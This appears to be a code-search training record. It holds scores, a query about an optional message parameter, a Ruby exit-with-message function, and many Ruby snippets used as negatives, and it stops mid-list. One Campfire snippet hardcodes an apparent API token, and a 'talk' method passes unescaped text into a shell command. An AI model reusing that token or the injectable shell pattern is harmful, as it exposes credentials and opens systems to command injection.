[ "0.67574394", "0.64557827", "0.63543075", "0.61780745", "0.6104419", "0.60713375", "0.6056929", "0.6013736", "0.594821", "0.5910549", "0.5904575", "0.5889297", "0.5889297", "0.5854658", "0.5834566", "0.58151835", "0.58065087", "0.57615936", "0.57602674", "0.57586503", "0.57578564", "0.5751889", "0.5738995", "0.5730203", "0.5729664", "0.5729138", "0.57072514", "0.570056", "0.56922615", "0.5645812", "0.56307214", "0.5625142", "0.56103843", "0.55994976", "0.5598973", "0.5592063", "0.55874443", "0.55704725", "0.556695", "0.55583286", "0.5557791", "0.5556503", "0.5556072", "0.5528589", "0.55248594", "0.5517961", "0.5512509", "0.5508069", "0.5497659", "0.5497317", "0.5497098", "0.5495147", "0.5492315", "0.5485201", "0.546561", "0.5450173", "0.5446528", "0.54346436", "0.54219645", "0.5417824", "0.5411785", "0.5402325", "0.53940105", "0.53920877", "0.5384904", "0.53736395", "0.5373003", "0.5365608", "0.5361917", "0.534797", "0.5343628", "0.5341393", "0.5341287", "0.5340606", "0.5340527", "0.53364646", "0.5335427", "0.53349197", "0.5333374", "0.5332441", "0.5322561", "0.5322561", "0.5322561", "0.53077537", "0.5305965", "0.53009725", "0.5299939", "0.5296432", "0.5293321", "0.5291172", "0.5275821", "0.52725124", "0.526905", "0.52621096", "0.52574974", "0.5253597", "0.5253597", "0.5252762", "0.5251112", "0.52509606", "0.5250524" ]
0.0
-1
peak: message (a string) is optional:
def cancelout(message = "Received negative number; canceling...", rc=0) $stderr.print(message + "\n" ) if message Process.exit(rc) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def message(message) end", "def msg(message)\n end", "def message() end", "def message( message )\n\tend", "def message; end", "def message; end", "def message; end", "def message; end", "def message; end", "def message; end", "def pbTrainerSpeak(msg, bgm = nil, index = 0)\n # in case the dialogue is a hash for bgm change as well as text display\n file = (msg.is_a?(Hash) && msg.has_key?(:file)) ? msg[:file] : nil\n bgm = msg[:bgm] if msg.is_a?(Hash) && msg.has_key?(:bgm)\n msg = msg[:text] if msg.is_a?(Hash) && msg.has_key?(:text)\n # play specified BGM\n pbBGMPlay(bgm) if !bgm.nil?\n self.custom_bgm = bgm if !bgm.nil?\n # safety check\n if msg.is_a?(Proc)\n wrapper = CallbackWrapper.new\n wrapper.set({\n :battle => @battle, :scene => self, :sprites => @sprites,\n :battlers => @battle.battlers, :opponent => @battle.opponent,\n :viewport => @viewport, :vector => self.vector\n })\n return wrapper.execute(msg)\n end\n return pbBattleCommonEvent(msg) if msg.is_a?(Integer)\n return if !msg.is_a?(String) && !msg.is_a?(Array)\n msg = [msg] if !msg.is_a?(Array)\n # show opponent Trainer on screen\n clearMessageWindow\n pbShowOpponent(index, true, file) if (@battle.opponent && @battle.opponent[index]) || !file.nil?\n # display message\n for m in msg\n @battle.pbDisplayPaused(m)\n end\n clearMessageWindow\n # hide opponent Trainer off screen\n pbHideOpponent(true, true) if (@battle.opponent && @battle.opponent[index]) || !file.nil?\n end", "def message\n @message ||= subject.is_a?(Telegram::Bot::Types::CallbackQuery) ? subject.message : subject\n end", "def speak(msg=\"foo-instance speaking... \")\n msg=\"foo-instance speaking... \"\n msg + (defined?(super) ? super() : \"\")\n end", "def tell(message)\n message message, nil\n end", "def tell(message)\n message message, nil\n end", "def speak\n \"#{name} says Assalaam alaykum\"\n end", "def message\n end", "def speak(message, options = {})\n send_message(message)\n end", "def coach_answer(your_message)\n # TODO: return coach answer to your_message\n if your_message[-1] == \"?\" then puts \"Silly question, get dressed and go to work !\"\n else puts \"I don't care son, get dressed and go to work !\"\n end\nend", "def speak(message = '', context = [])\n return @mouth.construct_sentence(message,context)\n end", "def tell(message)\n puts message\n end", "def calling_speak\n speak\n end", "def message=(_); end", "def show_message(message)\n puts message\nend", "def show_message(message)\n puts message\nend", "def show_message(message)\n puts message\nend", "def speak(message, options = {})\n send_message(message, options)\n end", "def speak\n puts \"WOOF WOOF\"\n end", "def speak\n @arr = 'Shiber Me Timbers You Scurvey Dogs!!'\n @speak_a.push(\"@what\", \"@arr\")\n @speak = speak.a.join(/\\n /)\n end", "def message=(_arg0); end", "def message=(_arg0); end", "def message\n @options.fetch(:message) { \"\" }\n end", "def topic(message)\n puts \"-----> #{message}\"\nend", "def began msg\n end", "def event(msg)\n unknown(\"=====> #{msg}\")\n end", "def message_for(test); end", "def message_for(test); end", "def speak\n super(\"Woof\")\n end", "def speak\n \"#{name} says wuff!\"\n end", "def talk(text, name)\n if @os == 'osx'\n `say \"#{ text }\" -v \"#{ name.strip }\"`\n else\n `echo \"#{ text }\" | espeak`\n end\n end", "def messages; end", "def messages; end", "def messages; end", "def hey(message)\n case message\n when shout then \"Woah, chill out!\"\n when question then \"Sure.\"\n when silence then \"Fine. Be that way!\"\n else \"Whatever.\"\n end\n end", "def message\n process_mess\n end", "def msg; end", "def msg; end", "def msg; end", "def speak\n p \"Ho, ho, ho! Haaaappy holidays!\"\n end", "def speak\n \"#{@name} says arf!\"\n end", "def speak\n \"#{@name} says arf!\"\n end", "def hey(message)\n case message\n when nil, empty?\n \"Fine. Be that way!\"\n when yelling?\n \"Woah, chill out!\"\n when question?\n \"Sure.\"\n else\n \"Whatever.\"\n end\n end", "def speak(utterance)\n prints utterance\n end", "def say_that_thing_you_say\n \"#{self.name} always says: #{self.catchphrase}\"\n end", "def receive_message(msg)\n speakers = get_speakers(@resource[:name])\n answer = speakers.first.send(msg)\n Puppet.debug(\"#{resource[:name]} <= #{msg} <= #{answer}\")\n answer.to_s\n end", "def listener message\n p message\n case message.downcase\n # add own messages\n when \"start\"\n puts 'Starting'\n when \"end\"\n puts 'Ending'\n stop\n exit 0\n else\n puts \"unknown message:#{message}\"\n end\n publish \"ack\"\n end", "def speak\n \"#{name} says arf!\"\n end", "def speak(x)\n\t puts \"Woof!\" * x\n end", "def speak\n \"#{name} says arf!\"\n end", "def hermes_catchphrase; end", "def send_message(msg); end", "def send_message(message); end", "def send_message(message); end", "def speak\n puts \"I am #{@name} and I am a #{@job}\"\n end", "def campfire_notification( message )\n begin\n unless @room\n @campfire = Tinder::Campfire.new 'hoodiny1', :ssl => true, :token => '3aa7fc18eaa511bfeb21fdae602e3ec175ecab2c'\n @room = @campfire.find_room_by_name 'Team'\n end\n @room.speak message\n rescue => e\n puts \"Error trying to paste to Campfire -> #{e.message} (#{e.class})\"\n end\nend", "def Speak\r\n\t\tputs \"Ho, ho, ho! Haaappy holidays!\"\r\n\tend", "def message=(arg)\n @_message = arg\n end", "def meme_phrase; end", "def say_that_thing_you_say\n \"#{self.name} always says: #{self.catchphrase}\"\n end", "def speak \n \"#{self.name} says arf!\"\n end", "def message\n call_once\n @message\n end", "def message=(message)\n end", "def message\n \"Someone is about to start a trip. Are you at home? If not, make your place unavailable\"\n end", "def lookup_message(name)\n\t\tend", "def call\n @message.spam?\n end", "def speak\n puts \"ho, ho, ho! happy hollandaise!\"\n end", "def message\n \n end", "def annotate(message); end", "def message(type, *args)\n end", "def speak(msg, channel=@channel)\n if @s and not @stfu\n @s.puts \"PRIVMSG #{channel} :\"+2.chr+\"#{msg}\" # 2.chr = bold char in irc\n end\n end", "def speak\n \"#{@name} says Arf!\"\n end", "def alert=(message); end", "def alert=(message); end", "def got_MSG(message)\n @logger.info(\"got_MSG()\")\n @logger.info(\"got_MSG() - #{message['message']}\")\n self.fix_skiplist(message['channel'])\n @logger.info(\"got_MSG() - fix_skiplist()\")\n self.remove_from_skip_list(message['channel'], message['character'])\n @logger.info(\"got_MSG() - remove_from_skip_list()\")\n if message['message'] == '!skip'\n self.add_to_skip_list(message['channel'], message['character'])\n elsif message['message'] =~ /^!skip/\n person = message['message'].gsub(/^!skip/, '').strip\n self.add_to_skip_list(message['channel'], person)\n elsif message['message'] =~ /^!spin/\n @logger.info(\"got_MSG() - spinning the bottle\")\n players = self.spin_list(message['channel'], message['character'])\n @logger.info(\"got_MSG() - players: #{players}\")\n if players == []\n msg = \"/me can't find anyone to play with!\"\n else\n player = players.sample\n msg = \"/me spins around, and eventually lands on [b]#{player}[/b]\"\n end\n self.send('MSG',message['channel'],msg)\n else\n @logger.info(\"gotMSG() - parseFail\")\n end\n end", "def speech; end", "def speak\n puts \"Ho, ho, ho! Haaaaappy holidays! I'm #{@name}!\"\n end", "def message(msg)\n\t\t@messager.message(msg)\n\tend", "def show_message(text, type = T.unsafe(nil)); end", "def info(topic, message = T.unsafe(nil), &block); end", "def on(param)\n @messages[param]\n end", "def message\n @_args.first\n end", "def msg(message)\n output[:messages] << message\n end", "def message(string)\n puts \"==> #{string}\"\nend", "def speak\n \"#{@name} says Arf!!\"\n end", "def message\n [ keyword, raw_args ].flatten.join(' ')\n end", "def message\n @message || super\n end", "def speak\n \"This animal is silent.\"\n end", "def message(message)\n output_listeners.each { |listener| listener.message(message) }\n each_line_block.call(\n type: :message,\n message: message,\n time: Time.now\n )\n end", "def say(message)\n puts \"=>\" + message\nend", "def speak\n\t\tputs \"My name is #{@name}. I am a #{@colour} dog. I am #{@age} years old and live in #{@home}\"\n\tend", "def speechAppend(speaker)\n\tprng = Random.new\n\tnum = prng.rand(5)\n\tif num ==0\n\t\tmessage = \"then \"+speaker+\" said \"\n\telsif num == 1\n\t\tmessage = \"and \"+speaker+\" was like\"\n\telsif num == 2\n\t\tmessage = \"so \"+speaker+\" replied \"\n\telsif num == 3\n\t\tmessage = \" and \"+speaker+\" whispered \"\n\telse\n\t\tmessage = \". \"+speaker+\" pondered this, and said \"\n\tend\n\treturn message\nend" ]
[ "0.6413145", "0.63333666", "0.63331753", "0.62663984", "0.61696106", "0.61696106", "0.61696106", "0.61696106", "0.61696106", "0.61696106", "0.61487657", "0.60261035", "0.59628874", "0.59496075", "0.59496075", "0.59476936", "0.59283423", "0.58777374", "0.584798", "0.58333933", "0.5828256", "0.575867", "0.57541984", "0.5729877", "0.5729877", "0.5729877", "0.57254255", "0.5702892", "0.5701331", "0.5699712", "0.5699712", "0.5675463", "0.5646889", "0.5637441", "0.5632169", "0.56314886", "0.56314886", "0.56243247", "0.5606428", "0.5602458", "0.55920136", "0.55920136", "0.55920136", "0.5580194", "0.55797184", "0.5570338", "0.5570338", "0.5570338", "0.5568444", "0.555802", "0.555802", "0.55522877", "0.55327845", "0.55240196", "0.552254", "0.5522226", "0.552169", "0.55150163", "0.5514395", "0.55126643", "0.54965085", "0.54953945", "0.54953945", "0.5489304", "0.54869723", "0.54846394", "0.5482884", "0.5482169", "0.5476157", "0.547461", "0.547381", "0.5471867", "0.54711264", "0.5470695", "0.5466378", "0.54644245", "0.546432", "0.5462117", "0.5460424", "0.54563874", "0.5456072", "0.5449796", "0.5449796", "0.5443759", "0.5436023", "0.543282", "0.5432773", "0.54310346", "0.5429463", "0.54234976", "0.5423195", "0.54170483", "0.5415781", "0.54147255", "0.54113895", "0.540943", "0.5401681", "0.53990805", "0.5398792", "0.53926665", "0.5389006" ]
0.0
-1
photo will come in with sender_id, receiver_id, photo
def create receiver_id = params[:receiver_id] sender_id = params[:sender_id] photo = params[:photo] puts request.format if request.format != :json render :status=>406, :json=>{:message=>"The request must be json"} return end if receiver_id.nil? or sender_id.nil? or photo.blank? render :status=>400, :json=>{:message=>"The request must contain the receiver_id, sender_id, and photo."} return end r = User.find(receiver_id) s = User.find(sender_id) if r.nil? or s.nil? render :status=>401, :json=>{:message=>"Sender or receiver doesn't exist with that ID."} return end @postcard = Postcard.new(:receiver_id => receiver_id, :sender_id => sender_id, :sender_name => s.displayName) @postcard.photo = photo if @postcard.save render :status=>200, :json=>{:postcard=>@postcard} else puts @postcard.errors.inspect render :status=>400, :json=>{:message=>"Error saving photo"} end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def receiver_picture\n user = users.select { |user| !user.id.eql?(sent_by) }.first\n user.avatar_url\n end", "def sender_picture\n user = User.find_by_id(sent_by)\n user.avatar_url\n end", "def initialize_photos(telegram_message)\n return [] unless telegram_message[:photo]\n\n photo = Photo.new\n bot_token = \"bot#{Telegram.bots[Rails.configuration.bot_id].token}\"\n telegram_file = telegram_message[:photo].max { |a, b| a[:file_size] <=> b[:file_size] }\n file_id = telegram_file[:file_id]\n uri = URI(\"https://api.telegram.org/#{bot_token}/getFile\")\n uri.query = URI.encode_www_form({ file_id: file_id })\n response = JSON.parse(URI.open(uri).read)\n file_path = response.dig('result', 'file_path')\n remote_file_location = URI(\"https://api.telegram.org/file/#{bot_token}/#{file_path}\")\n photo.image.attach(io: URI.open(remote_file_location), filename: File.basename(remote_file_location.path))\n [photo]\n end", "def create\n @photo = Photo.new(photo_params) \n respond_to do |format|\n if @photo.save\n @photo.pet.users.each do |user|\n Notification.create(recipient: user, user: @photo.user, action: \"uploaded\", notifiable: @photo)\n end \n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n @albums=[] if @photo.album_id==nil \n format.html { render \"new\"}\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def photo\n Photo.find_by_id(self.profile_photo_id)\n end", "def fb_photo(photo, options={})\n options = options.dup\n options.assert_valid_keys(FB_PHOTO_VALID_OPTION_KEYS)\n options.merge!(:pid => cast_to_photo_id(photo))\n validate_fb_photo_size(options)\n validate_fb_photo_align_value(options)\n tag(\"fb:photo\", stringify_vals(options))\n end", "def backup_photo\n if pid = parsed_attachment_data['photo']['pid']\n BackupPhoto.find_by_source_photo_id(pid) rescue nil\n end\n end", "def photo( photo_id )\n Photo.find( photo_id, self )\n end", "def photoRequest( id )\n image_tag \"http://graph.facebook.com/#{id}/picture?type=square\", \n :class => \"friendWallPhoto round\", \n 'data-facebook-uid' => \"#{id}\"\n end", "def message_photo(status)\n \"https://api.croudia.com/secret_mails/get_secret_photo/#{status.id}.json\"\n end", "def receive(message)\n # For now just take the first attachment and assume there is only one\n attachment = message.attachments.first\n\n# logger.debug(message.subject)\n# logger.debug(message.attachments.count)\n\n # Create the micropost\n @email = message.from[0].to_s # first email address in 'from' array\n @user = User.find_by_email(@email)\t# find user by email\n\nputs \"***************************\"\nputs @email\n\n if @user != nil\nputs @user.email\n\n Micropost.create do |micropost|\n \n micropost.content = message.subject\n micropost.user_id = @user.id\n\n # Create an AttachmentFile subclass of a tempfile with paperclip aware features and add it\n image_file = AttachmentFile.new('test.jpg')\n image_file.write attachment.decoded.force_encoding(\"utf-8\")\n image_file.flush\n image_file.original_filename = attachment.filename\n image_file.content_type = attachment.mime_type\n micropost.image = image_file\n\tend\nputs \"***************************\"\n\n# UserMailer.registration_confirmation(user).deliver\n\n end\n end", "def photo(id)\n image_tag \"http://graph.facebook.com/#{id}/picture?type=square\", \n :class => \"friendWallPhoto round\"\n end", "def event_photo(photos)\n speakers = find_speaker(photos)\n if speakers.empty?\n photo = photos.shuffle[0]\n else\n photo = speakers[0]\n end\n src = photo['photo_link']\n name = photo['member']['name']\n \"<img src=\\\"#{src}\\\" class=\\\"event-photo\\\" alt=\\\"Photo by #{name}\\\" />\"\nend", "def photo\r\n @user = User.find(@params[:id])\r\n \r\n if (@user.photo)\r\n send_data(@user.photo,\r\n :filename => @user.id,\r\n :type => @user.photo_type,\r\n :disposition => \"inline\")\r\n else\r\n redirect_to_path '/images/default.jpg'\r\n end\r\n end", "def photo\n @attributes[:photo] ||= PublicEarth::Db::Photo.find_by_id(@attributes[:photo_id])\n end", "def photo!(options)\n return if identifier.nil?\n \n if upload_url = find_upload_url\n data = http_client.post(upload_url, 'file1' => options[:source])\n parsed_response = MultiJson.decode(data.body)\n \n @target.photos.save(parsed_response.merge('caption' => options[:message]))\n end\n end", "def photo!(options)\n return if identifier.nil?\n \n if upload_url = find_upload_url\n data = http_client.post(upload_url, 'file1' => options[:source])\n parsed_response = MultiJson.decode(data.body)\n \n @target.photos.save(parsed_response.merge('caption' => options[:message]))\n end\n end", "def fb_photo(photo, options = {})\n # options.assert_valid_keys(FB_PHOTO_VALID_OPTION_KEYS) # TODO asserts\n options.merge!(:pid => cast_to_photo_id(photo))\n validate_fb_photo_size(options)\n validate_fb_photo_align_value(options)\n self_closing_tag(\"fb:photo\", options)\n end", "def update\n query = \"created_by = \\\"#{current_user.email}\\\"\"\n @photo = Photo.where(query).with_attached_images.find(params[:id])\n\n respond_to do |format|\n if @photo.update(photo_params)\n format.html { redirect_to @photo, notice: 'Updated successfully.' }\n format.json { render :show, status: :ok, location: @photo }\n else\n format.html { render :edit }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = current_user.photos.new\n @greeting = [\"got something beautiful you'd like to share with the world?\", \"feeling good today? Spread the happiness one photo at a time!\", \"show the world some lovin'.\" ]\n\n\n # @photo.photo_images = photo_params[:photo_images].map do |img|\n # byebug\n # PhotoImage.new(image: img)\n # end\n # @photo = Photo.new(photo_params)\n # @photo.user_id = current_user.id\n respond_to do |format|\n if @photo.save\n # params[:photo]['images'].each do |img|\n @photo_image = PhotoImage.create(image: params[:photo][:photo_images], photo_id: @photo.id)\n # @photo_image = @photo.photo_images.create()\n \n format.html { redirect_to edit_photo_path(@photo), notice: 'Photo was successfully created.' }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def chosen_image(photo)\n if photo\n remote_file = nil\n open(photo[\"photo_link\"]) do |f|\n remote_file = Base64.encode64(f.read)\n end\n puts(\"\\x1b]1337;File=;inline=1:\" + remote_file + \"\\a\\n\")\n end\n end", "def person_photos\n Gallerist::PersonPhoto.where master_uuid: master.uuid\n end", "def send_thank_you_email(photo)\n @photo = photo\n mail(:to => @photo.from_email,\n :subject => 'Thanks for submitting the photo!' )\n end", "def photo\r\n\r\nif @photo_cache && @photo_cache[:tmp]\r\n @photo_cache[:path] = File.join(FILES_DEST_PHOTO, 'cache', @photo_cache[:tmp])\r\nend\r\nif @photo_cache && File.exists?(@photo_cache[:path])\r\n return File.read(@photo_cache[:path])\r\nelse\r\n File.open(self.photo__path, 'r').read unless self.new_record? || !File.exist?(self.photo__path)\r\nend\r\nend", "def photo_params\n params[:photo]\n end", "def photo_params\n params[:photo]\n end", "def attach_photos\n return if self.start_time.nil? || self.end_time.nil?\n Photo.find_by_time(self.start_time, self.end_time).where(\"trip_report_id IS NULL\").each do |photo|\n if photo.user == self.user#Found definite match\n photo.set_trip_report\n\tphoto.save\n# elsif self.participants.downcase.include? photo.user.display_name.downcase\n #Potential match confirm by checking for a lat closer than 1 degree\n#\tself.route.waypoints.each do |waypoint|\n#\t if(photo.trip_report_id.nil? && waypoint.latitude+0.5 > photo.latitude && waypoint.latitude-0.5 < photo.latitude)\n#\t photo.save\n#\t end\n#\tend\n end\n end\n end", "def profile_photo\n\tend", "def student_photo\n params.require(:workspace_id)\n params.require(:student_id)\n\n # check valid\n student = ensure_valid_student_for_class_list!(params[:student_id], params[:workspace_id])\n send_params = student_photo_sender.send_params(student)\n if send_params.nil?\n return render json: { error: 'no photo' }, status: 404\n end\n\n bytes, options = send_params\n send_data bytes, options\n end", "def process_attachment\n return true unless d = parsed_attachment_data\n\n case self.attachment_type\n when 'link', 'generic'\n # Parse generic attachment attributes into string for the message attribute\n if self.message.blank?\n mesg = ''\n mesg << \"#{d['name']}\\n\" unless d['name'].blank?\n mesg << \"#{d['caption']}\\n\" unless d['caption'].blank?\n mesg << \"#{d['description']}\\n\" unless d['description'].blank?\n self.update_attribute(:message, mesg) unless mesg.blank?\n end\n when 'photo'\n # Add photo to be downloaded if it is a photo from a facebook album.\n # requires the backup_source object, which means this object must be created AND\n # associated with its activity_stream (from which we derive the member attribute, \n # then the facebook backup source object, phew!)\n if facebook_photo? && !backup_photo && member\n # add to album (create one if necessary)\n # need to retrieve our facebook backup source object for album creation\n begin\n # If photo doesn't belong to this user, use a catch-all photo album \n # to store them\n bs = member.backup_sources.facebook.first\n album = if d['photo']['owner'] != member.facebook_id.to_s\n # This sucks...why doesn't find_or_create work with extra attributes?\n BackupPhotoAlbum.find_or_create_facebook_friends_album(bs.id)\n else\n BackupPhotoAlbum.find_or_create_by_backup_source_id_and_source_album_id(bs.id, d['photo']['aid'])\n end\n\n # If Facebook is trying to be sneaky and only passing the small thumbnail image, \n # we replace _s with _n to get the larger image instead. This will definitely \n # bite us in the ass when FB changes formats.\n d['src'].gsub!(/_s\\.jpg$/, '_n.jpg')\n \n BackupPhoto.create(:backup_photo_album => album,\n :source_photo_id => d['photo']['pid'],\n :source_url => d['src'],\n :caption => self.message)\n rescue\n logger.error \"FacebookActivityStreamItem::process_attachment exception: \" + $!\n raise\n end\n end\n end\n true\n end", "def create\n @message = Message.new(message_params)\n @message.user = current_user\n\n @recipient = User.find(@message.recipient_id)\n\n puts \">>>>>>>>>>>>>> Message Create from #{current_user.id}: #{current_user.first_name} #{current_user.last_name} to #{@recipient.id}: #{@recipient.first_name} #{@recipient.last_name}\"\n\n if @message.detail.nil? or @message.detail.empty?\n @recipient.send_alert(current_user.first_name + \" \" + current_user.last_name + \": sent a media file\")\n else\n @recipient.send_alert(current_user.first_name + \" \" + current_user.last_name + \": \" + @message.detail)\n end\n\n @recipient.increment_badge\n\n @message.save\n\n # puts \"JHRLOG: new snapshot is created, lacking the image\"\n # if params[:message]\n # puts \"JHRLOG: >>>>>> MESSAGE\"\n # end\n #\n # if params[:message][:media_path]\n # puts \"JHRLOG: >>>>>> MESSAGE and MEDIA PATH\"\n # end\n #\n # if params[:message][:media_path][\"media_file\"]\n # puts \"JHRLOG: >>>>>> MESSAGE and MEDIA PATH and MEDIA FILE\"\n # end\n #\n #\n\n #check if file is within picture_path\n # if(params.has_key?(:message) && params.has_key?(:media_path) && params.has_key?(\"media_file\"))\n\n if params[:message] && params[:message][:media_path] && params[:message][:media_path][\"media_file\"]\n # puts \"JHRLOG: found a file entry\"\n\n incoming_filename = params[:message][:media_path][:filename]\n\n\n media_path_params = params[:message][:media_path]\n\n #create a new tempfile named fileupload\n\n tempfile = Tempfile.new(incoming_filename, Rails.root.join('tmp'))\n\n # puts\"JHRLOG: tempfile opened at #{tempfile.path}\"\n\n tempfile.binmode\n # puts\"JHRLOG: tempfile binmode set\"\n\n # the buffer may be coming in with a base64 descriptor... trim it off the front\n # base64file = snapshot_path_params[\"snapshot_file\"].partition(',').last\n base64file = media_path_params[\"media_file\"]\n\n\n #get the file and decode it with base64 then write it to the tempfile\n # tempfile.write(URI::unescape(CGI::escape(Base64.decode64(base64file))))\n tempfile.write(Base64.decode64(base64file))\n\n # puts \"JHRLOG: tempfile size after decode64 is #{tempfile.size}\"\n\n #create a new uploaded file\n uploaded_file = ActionDispatch::Http::UploadedFile.new(:tempfile => tempfile, :filename => incoming_filename, :original_filename => incoming_filename)\n\n # puts \"JHRLOG: uploaded file object has been created \"\n\n #replace photo element with the new uploaded file\n # params[:snapshot][:photo] = uploaded_file\n\n @message.media = uploaded_file\n\n if incoming_filename.end_with? \"mov\"\n @message.timer_left = 30\n else\n @message.timer_left = 15\n end\n\n\n # puts \"JHRLOG: snapshot has been assigned an upload image\"\n if @message.save\n # puts \"JHRLOG: snapshot has been saved with the image\"\n tempfile.unlink\n end\n\n\n end\n\n # puts \"JHRLOG: after the base64 file processing\"\n\n # record the unviewed message\n\n @message.reload\n\n ca = ChatAlert.new()\n ca.user = current_user\n ca.recipient = @recipient\n ca.message = @message\n ca.save\n\n respond_with(@message)\n end", "def facebook_photo\n @fb_photo ||= backup_photo.photo rescue nil\n end", "def photos_tagged_user(uid)\n query = \"select pid, src_big, src_small from photo where pid in (select pid from photo_tag where subject = #{uid}) and owner=#{ATC_GID} order by created\"\n return MiniFB.call(FB_API_KEY, FB_SECRET_KEY, \"FQL.query\", \"query\" => query, \"session_key\" => FB_SESSION_KEY, \"expires\" => 0)\n end", "def cl_photo\n if photo?\n photo\n else\n 'https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSb0kZ2CA6D46RXZVJ3dvJPusC66fBq1uENE8jN3q8golJ73Ayd'\n end\n end", "def create\n # photo = photo.create! params.require(:photo)\n @photo = Photo.new(photo_params)\n @photo.album_id = params[:album_id]\n @photo.user_id = current_user.id\n # @photo.pictures.attach(params[:photo][:picture])\n respond_to do |format|\n if @photo.save(validate: false)\n format.html { redirect_to album_photos_path , notice: \"Photo was successfully created.\" }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_photo\n @possible_photos = get_possible_photos\n @photo = @possible_photos.find_by_id(params[:id])\n end", "def create\n @photo = @room.photos.new(photo_params)\n @photo.picture = convert_data_uri_to_upload(params[:picture_datafile]) if params[:picture_datafile].length > 100\n if @photo.save\n redirect_to [@photo.room], notice: 'Foto adicionada com sucesso à Galeria.' \n else\n render :new \n end\n end", "def create_photo(album_id, photo_id, file, filename)\n \n end", "def commented_photos\n self.comments.map do |comment|\n comment.photo\n end\n end", "def set_photo\n @photo = photo.find(params[:id])\n end", "def generate_photo_email_code\n self.photo_email_code = PublicEarth::Db::User.one.generate_photo_email_code(self.id)['photo_email_code'];\n end", "def the_image\n if object.is_group_conversation?\n object.image.url\n else\n participant = other_participant\n Rails.logger.info \"Error: #{object.inspect}\" unless participant.present?\n participant.avatar_url(:now)\n end\n end", "def photo_params\n params.require(:photo).permit(:caption, :image, :following)\n end", "def show\n @user = @tweet.user\n @photo =\n if params[:photo_id].present? && params[:photo_id].match(/\\A\\d+\\z/) && @tweet.media?\n photo_id = params[:photo_id]\n photo = @tweet.media.find{|m| m.id == photo_id }\n @tweet.media.first if photo.nil?\n else\n Hashie::Mash.new(Hash.new(''))\n end\n end", "def set_photo\n @photo = Photo.find_by(id: params[:id]) \n end", "def new(photo, user)\n @photo=photo\n @user=user\n @greeting = \"Hi\"\n\n mail to: user.email, subject:\"New photo\",\n from:\"from@live-idea.org\"\n end", "def photos( params={} )\n photos = get_connections(\"photos\", params)\n return map_connections photos, :to => Facebook::Graph::Photo\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n# @photo = Photo.find(params[:id])\n end", "def photos_for_merge\n photo_urls - ignored_photo_urls\n end", "def photo_url\n defined?(object.photo) ? object.photo.url : ''\n end", "def set_photo\n @photo = Photo.find_by(id: params[:id])\n end", "def create_photos\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n \n end", "def create\n @photo = Photo.new(form_params)\n @photo.picture = PictureAttachmentHelper.convert_data_uri_to_upload(params[\"photo\"][\"picture\"])\n @photo.save\n redirect_to photos_path\n end", "def normalize_photo(photo)\n get_photo_response = get_photo(photo.id)\n sizes = client.photos.getSizes(photo_id: photo.id)\n {\n source: 'flickr',\n key: photo.id,\n photo_thumbnail: get_photo_size(sizes, 'Thumbnail'),\n photo_small: get_photo_size(sizes, 'Small 400'),\n photo_medium: get_photo_size(sizes, 'Medium 800'),\n photo_large: get_photo_size(sizes, 'Large 1600'),\n created_at: get_photo_response.dateuploaded,\n url: Flickr.url_photopage(photo),\n description: get_photo_response.description,\n title: get_photo_response.title,\n }\n end", "def set_photo\r\n @photo = Photo.find(params[:id])\r\n end", "def set_photo_urls\n unless self.photo_id.blank?\n photo = Photo.find(self.photo_id)\n self.photo_thumb_url = photo.photo.thumb\n self.photo_medium_url = photo.photo.medium\n self.photo_large_url = photo.photo.large\n end\n end", "def photo_params\n params.require(:photo).permit(:image, :user_id)\n end", "def upload_photo(cocktail_id)\n cocktailloader = Cocktailloader.find_by(mrcock_id: cocktail_id)\n cocktail = Cocktail.find(cocktail_id)\n img = cocktailloader.strDrinkThumb if cocktailloader\n cocktail.remote_photo_url = img if img\n puts \"photo saved\"\n cocktail.save\nend", "def set_photo\n @photos = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def photo_params\n params.require(:photo).permit(:restaurant_id, :photo)\n end", "def add_photo\n @current_discussion_id = params[:group_discussion_id].to_i\n if @login_user.is_member_of_discussion_group(@current_discussion_id) && (params[:photo_url])\n url = params[:photo_url]\n url_host = params[:added_from]\n @photo = Image.new(:details => params[:photo_detail], :site_url => url_host, :imageable_id => @current_discussion_id, :imageable_type => \"DiscussionGroup\", :user_id => current_user.id)\n @photo.upload_image(url)\n @photo.save\n end\n respond_to do |format|\n format.js\n end\n end", "def new_photo_email(user, business)\n @user = user\n @business = business\n mail(:to => @user.email, :subject => \"Your photo has been uploaded on CONSIGN.NYC\")\n end", "def snap\n @cleaner.photo = params[:photo][:file]\n content_type = content_type(@cleaner.photo_file_name)\n @cleaner.photo_content_type = content_type if content_type\n @cleaner.save!\n render :text => @cleaner.photo.url(:large)\n end", "def set_photo\n\t @photo = Photo.find(params[:id])\n\t end", "def set_photo\n Photo.find(params[:id])\n end", "def send_admin_photo_email\n Mailer.admin_photo_email(user, business).deliver\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def set_photo\n @photo = Photo.find(params[:id])\n end", "def 